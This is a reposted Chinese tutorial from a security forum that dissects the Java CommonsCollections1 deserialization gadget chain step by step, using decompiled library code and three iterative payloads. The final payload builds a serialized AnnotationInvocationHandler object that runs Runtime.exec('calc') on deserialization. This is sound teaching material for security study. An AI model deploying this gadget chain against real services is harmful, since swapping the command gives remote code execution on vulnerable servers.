Java反序列化漏洞:Commons Collections 1 学习笔记

渗透技巧 2个月前 admin
152 0 0

Java反序列化漏洞:Commons Collections 1 学习笔记

本文为看雪论坛优秀文章

看雪论坛作者ID:wx_牛牛_292


前置知识


分析Transformer接口及其实现类。

ConstantTransformer:构造函数传入一个对象,调用transform()方法时,不管输入是什么,都返回构造函数ConstantTransformer()传入的对象。
// ConstantTransformer构造函数及transform()函数public ConstantTransformer(Object constantToReturn) {    super();    iConstant = constantToReturn;} public Object transform(Object input) {    return iConstant;}

ChainedTransformer:自动对transformers数组中每一个元素transformers[i]调用transform(),前一个的输出作为后一个的输入,链式调用transform()方法。
// ChainedTransformer构造函数及transform()函数public ChainedTransformer(Transformer[] transformers) {    super();    iTransformers = transformers;} public Object transform(Object object) {    for (int i = 0; i < iTransformers.length; i++) {        object = iTransformers[i].transform(object);    }    return object;}

InvokerTransformer:相当于重新实现了反射,构造函数传入方法名、参数类型、参数。transform()传入对象,进行反射调用。
// InvokerTransformer构造函数及transform()函数public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {    super();    iMethodName = methodName;    iParamTypes = paramTypes;    iArgs = args;} // InvokerTransformer的transform()方法public Object transform(Object input) {    if (input == null) {        return null;    }    try {        Class cls = input.getClass();        Method method = cls.getMethod(iMethodName, iParamTypes);        return method.invoke(input, iArgs);     } catch (NoSuchMethodException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");    } catch (IllegalAccessException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");    } catch (InvocationTargetException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);    }}


三种方式弹出计算器

// 正常弹计算器Runtime.getRuntime().exec("calc"); // 反射调用计算器// 获取一个Runtime的对象Runtime r = Runtime.getRuntime();// 获取Runtime类Class c = Runtime.class;// 获取Runtime类的exec()方法,(方法名,参数类型)Method execMethod = c.getMethod("exec", String.class);// 反射调用exec弹计算器,(对象,参数)execMethod.invoke(r,"calc");  /*InvokerTransformer调用计算器相当于重新实现了反射,把上面的反射调用后两行写成一行*/Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",        new Class[]{String.class}, new Object[]{"calc"}).transform(r);


构造调用链


调用链构造原则:找调用关系要找不同名的方法,如果找到同名,再通过find usages得到的还是一样的结果。最终还是得找不同的方法才能跳转。


哪里调用了transform():checkSetValue()-->transform()


发现了InvokerTransformer类中的transform()方法是危险方法,从后往前找,找哪个类的不同方法里面调用了transform()。

找到InvokerTransformer类中的transform(),右键,点 Find Usages,找函数调用关系,最好找不同名的方法,调用了transform()。因为transform()调用transform()不能换到别的方法里,没有意义。

最后的目标是回到readObject()里,比如LazyMap类中的get()方法调用了transform(),再接着去找谁又调用了get()。如果有一个类的readObject()调用了get(),那我们就可能找到了调用链。

最终选择TransformedMap这个类,因为TransformedMap类中有好几处都调用了transform()。

找到TransformedMap类中checkSetValue()中调用了valueTransformer.transform(value);
protected Object checkSetValue(Object value) {    return valueTransformer.transform(value);}

看一下valueTransformer是什么,在TransformedMap的构造函数中可以对valueTransformer赋值。

构造函数的参数:传入一个Map和两个Transformer。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {    super(map);    this.keyTransformer = keyTransformer;    this.valueTransformer = valueTransformer;}

TransformedMap的构造函数属性是protected,只能在类内调用。
因此找一下哪里调用TransformedMap()构造函数。
找到decorate()调用了 TransformedMap()。
调用decorate()相当于调用了构造函数。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {    return new TransformedMap(map, keyTransformer, valueTransformer);}

构造checkSetValue()中的valueTransformer,因为要通过InvokerTransformer反射调用计算器,所以要让valueTransformer = invokerTransformer,invokerTransformer为InvokerTransformer类的一个对象。

在构造函数中可以进行valueTransformer的赋值,但是TransformedMap的构造函数不能直接调用(属性为protected),间接通过decorate()来给valueTransformer赋值。

现在valueTransformer = invokerTransformer
// 实例化一个InvokerTransformer (invokerTransformer)InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});// 新建一个map ,传入decorate()中HashMap<Object, Object> map = new HashMap<>();Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);


哪里调用了checkSetValue():setValue()-->checkSetValue()


在AbstractInputCheckedMapDecorator类中的setValue()中调用了checkSetValue()。
AbstractInputCheckedMapDecorator类是TransformedMap的父类。
AbstractInputCheckedMapDecorator类的setValue()重写了Map.Entry类中的setValue()。

直接调用setValue(),可以弹出计算器。
// 实例化一个InvokerTransformer (invokerTransformer)InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});// 新建一个map ,传入decorate()中HashMap<Object, Object> map = new HashMap<>();Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);for(Map.Entry entry : transforedMap.entrySet()){    entry.setValue(r);}


哪里调用了setValue():readObject()-->setValue()


AnnotationInvocationHandler类中的readObject()方法中调用了setValue()。

AnnotationInvocationHandler类中的readObject()方法:
private void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {    s.defaultReadObject();     // Check to make sure that types have not evolved incompatibly     AnnotationType annotationType = null;    try {        annotationType = AnnotationType.getInstance(type);    } catch(IllegalArgumentException e) {        // Class is no longer an annotation type; time to punch out        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");    }     Map<String, Class<?>> memberTypes = annotationType.memberTypes();     // If there are annotation members without values, that    // situation is handled by the invoke method.    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {        String name = memberValue.getKey();        Class<?> memberType = memberTypes.get(name);        if (memberType != null) {  // i.e. member still exists            Object value = memberValue.getValue();            if (!(memberType.isInstance(value) ||                  value instanceof ExceptionProxy)) {                memberValue.setValue(                    new AnnotationTypeMismatchExceptionProxy(                        value.getClass() + "[" + value + "]").setMember(                            annotationType.members().get(name)));            }        }    }}AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {    Class<?>[] superInterfaces = type.getInterfaces();    if (!type.isAnnotation() ||        superInterfaces.length != 1 ||        superInterfaces[0] != java.lang.annotation.Annotation.class)        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");    this.type = type;    this.memberValues = memberValues;}

看AnnotationInvocationHandler类的构造函数,发现构造函数的参数中可以传入Map,那这个Map就是我们完全可以控制的,因为在构造函数里面。

所以我们就可以把我们构造好的TransformedMap放进去,需要注意类属性不是public,为default类型,只有在sun.reflect.annotation包底下才能访问到,因此必须通过反射去获取,不能直接获取。

同时构造函数也是default类型,需要用getDeclaredConstructor()来获取构造函数。
// 获取类Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例,随便写一个常用的注解(Override)Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化


payload1

// 此处的Runtime 对象 r 是不能序列化的Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object, Object> map = new HashMap<>();map.put("key","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){     entry.setValue(r);}*/// 获取类Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化

从已注释的for循环可以看到,我们调用setValue(r)需要传入r
目前payload的几个问题:


问题1、setValue()中我们需要传入Runtime的对象r,而AnnotationInvocationHandler类中的setValue()中的参数还无法控制。


问题2、Runtime类没有继承Serializable接口,不能序列化/反序列化。


问题2解决:


Runtime类不能序列化,而Class类可以序列化
Runtime r = Runtime.getRuntime();不能序列化
Class c = Runtime.class;可以序列化

正常的反射调用
//        正常的反射调用//        获取Runtime的class对象        Class c = Runtime.class;//        获取getRuntime方法  (函数名,参数类型)无参方法,参数类型写null        Method getRuntimeMethod = c.getMethod("getRuntime", null);//        获取到Runtime的对象r//        第一个参数表示在那个对象调用,getRuntime()为static方法,所以为null//        第二个参数表示方法的参数,没有参数,所以为null        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);//        获取exec方法        Method execMethod = c.getMethod("exec", String.class);//        调用exec,(对象,参数)        execMethod.invoke(r, "calc");

改成InvokerTransformer(方法名, 参数类型, 参数)
/*       改写成InvokerTransformer(方法名, 参数类型, 参数),链式调用//        相当于//        Class c = Runtime.class;//        Method getRuntimeMethod = c.getMethod("getRuntime", null); 获取getRuntime方法,相当于在Runtime.class上调用getMethod()方法,参数为getRuntime,参数类型为null*/        Method getRuntimeMethod1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}).transform(Runtime.class);//        获取Runtime对象        Runtime r1 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}).transform(getRuntimeMethod1);        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"}).transform(r1);

改成ChainedTransformer的形式
//改成ChainedTransformer的形式// 构造transformers 数组Transformer[] transformers = new Transformer[]{        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class); // 调试的时候要注释掉

上面的payload中,只有Runtime.class是我们可以控制的。


payload2,解决了问题2,还不能执行成功。

// 此处的Runtime 对象 r 是不能序列化的,需要修改// Runtime r = Runtime.getRuntime();// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Transformer[] transformers = new Transformer[]{        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();map.put("key","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, chainedTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){     entry.setValue(r);}*/// 获取类Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化


问题3、AnnotationInvocationHandler类中的readObject()中的for循环中有两个if判断需要满足。


问题3解决


分析:
1、可能没进入if判断。
2、后面的setValue()括号中的new AnnotationTypeMismatchExceptionProxy()是我们不能控制的。
第一个if:
调试:下断点运行,发现Override.class中是空的,getKey()得到的是null,进不去第一个if判断。
public @interface Override {}for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {    String name = memberValue.getKey();    // 因为Override里面是空实现,所以memberType为null    Class<?> memberType = memberTypes.get(name);    if (memberType != null) {  // i.e. member still exists        Object value = memberValue.getValue();        if (!(memberType.isInstance(value) ||              value instanceof ExceptionProxy)) {            memberValue.setValue(                new AnnotationTypeMismatchExceptionProxy(                    value.getClass() + "[" + value + "]").setMember(                        annotationType.members().get(name)));        }    }}

Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap);

改成
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transforedMap);

注解Target中是有参数的。
public @interface Target {    /**     * Returns an array of the kinds of elements an annotation type     * can be applied to.     * @return an array of the kinds of elements an annotation type     * can be applied to     */    ElementType[] value();}

第二个if(直接可以进入,不需要构造):
1、memberType能不能强转成value
2、value是不是ExceptionProxy类的实例
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

问题1解决:

使用ConstantTransformer()。
ConstantTransformer:不管输入是什么,调用transform()方法时,都返回构造函数输入的值。


payload3:

// 此处的Runtime 对象 r 是不能序列化的,需要修改// Runtime r = Runtime.getRuntime();// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Transformer[] transformers = new Transformer[]{        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();// 第一个值要与所选注解中的参数对应,Target中的参数为value,所以第一个参数要改为valuemap.put("value","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, chainedTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){     entry.setValue(r);}*/// 获取类Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化


正向调用顺序:

Java反序列化漏洞:Commons Collections 1 学习笔记

参考文献:

Java 反序列化漏洞(二) - Commons Collections(https://su18.org/post/ysoserial-su18-2/

Java反序列化CommonsCollections篇(一) CC1链手写EXP(https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.880.my_history.page.click&vd_source=3b1d14eb2f4ad239e25f14b736dd9ee4

Java ysoserial学习之CommonsCollections1(二)https://mp.weixin.qq.com/s?__biz=MzkzODIwMTIwNg==&mid=2247484514&idx=1&sn=2552ec324c1395c9c3c8b9f78cbb4908&chksm=c2829d7bf5f5146d1d2dd0531344262a31b44f27d8c56c7465a9d0555c8773bc096424a0dd53&scene=178&cur_album_id=1898778471904952325#rd

Commons Collections Java反序列化漏洞深入分析(https://security.tencent.com/index.php/blog/msg/97



Java反序列化漏洞:Commons Collections 1 学习笔记


看雪ID:wx_牛牛_292

https://bbs.pediy.com/user-home-951339.htm

*本文由看雪论坛 wx_牛牛_292 原创,转载请注明来自看雪社区

Java反序列化漏洞:Commons Collections 1 学习笔记

# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们


Java反序列化漏洞:Commons Collections 1 学习笔记


Java反序列化漏洞:Commons Collections 1 学习笔记

球分享

Java反序列化漏洞:Commons Collections 1 学习笔记

球点赞

Java反序列化漏洞:Commons Collections 1 学习笔记

球在看


Java反序列化漏洞:Commons Collections 1 学习笔记

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):Java反序列化漏洞:Commons Collections 1 学习笔记

版权声明:admin 发表于 2022年12月21日 下午6:00。
转载请注明:Java反序列化漏洞:Commons Collections 1 学习笔记 | CTF导航

相关文章

暂无评论

暂无评论...